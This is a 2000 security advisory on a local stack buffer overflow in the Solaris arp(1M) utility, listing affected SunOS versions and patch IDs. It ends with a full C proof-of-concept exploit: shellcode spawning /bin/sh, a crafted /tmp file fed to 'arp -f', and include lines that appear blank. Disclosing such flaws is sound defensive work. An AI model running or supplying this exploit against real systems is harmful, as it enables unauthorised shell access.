Vulnerability in Solaris arp(1M)



Date Published: November 28, 2000



Advisory ID: N/A



Bugtraq ID: N/A



CVE CAN: Non currently assigned.



Title: Solaris arp(1M) Buffer Overflow Vulnerability



Class: Boundary Error Condition



Remotely Exploitable: No



Locally Exploitable: Yes



Vulnerability Description:



The stack overflow is in arp's file() function, which reads the data in

from the supplied file.  The overflow itself is a result of using sscanf

to split up the file data.  In a typical buffer overflow fashion,

file()'s return address is overwritten with part of the supplied string.





Vulnerable Packages/Systems:



  SunOS 5.7

  SunOS 5.7_x86

  SunOS 5.6

  SunOS 5.6_x86

  SunOS 5.5.1

  SunOS 5.5.1_x86

  SunOS 5.5

  SunOS 5.5_x86

  SunOS 5.4

  SunOS 5.4_x86





Solution/Vendor Information/Workaround:





The following patches are available in relation to the above problem.



    OS Version          Patch ID

    __________          _________

    SunOS 5.7           109709-01

    SunOS 5.7_x86       109710-01

    SunOS 5.6           109719-01

    SunOS 5.6_x86       109720-01

    SunOS 5.5.1         109721-01

    SunOS 5.5.1_x86     109722-01

    SunOS 5.5           109707-01

    SunOS 5.5_x86       109708-01

    SunOS 5.4           109723-01

    SunOS 5.4_x86       109724-01





Vendor notified on: November 28, 2000



Credits:



This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.



Special thanks to Dave Ahmed from SecurityFocus for his meticulous help.



This advisory was drafted with the help of the SecurityFocus.com

Vulnerability Help Team.

For more information or assistance drafting advisories please mail

vulnhelp@securityfocus.com.



Technical Description - Exploit/Concept Code:



#include 



/* arpexp.c



   arp overflow proof of concept by ahmed@securityfocus.com

   tested on x86 solaris 7,8beta



   default should work.  if not, arg1 = offset. +- by 100's



   Copyright Security-Focus.com, 11/2000

*/



long get_esp() { __asm__("movl %esp,%eax"); }



int main(int ac, char **av)

{



  char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"

                 "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"

                 "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"

                 "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"

                 "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"

                 "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"

                 "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"

                 "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"

                 "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"

                 "\x73\x68\xff\xff\xff\xff\xff\xff\xff"

                 "\xff\xff";



  unsigned long magic = 0x8047b78;

  unsigned long r = get_esp() + 600;

  unsigned char buf[300];

  int f;



  if (ac == 2)

    r += atoi(av[1]);



  memset(buf,0x61,sizeof(buf));

  memcpy(buf+52,&magic,4);

  memcpy(buf+76,&r,4);



  f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);

  write(f,"1 2 3 4 ",8);

  write(f,buf,sizeof(buf));

  close(f);



  memset(buf,0x90,sizeof(buf));

  memcpy(buf,"LOL=",4);

  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));

  putenv(buf);



  system("/usr/sbin/arp -f /tmp/ypx");

  unlink("/tmp/ypx");



}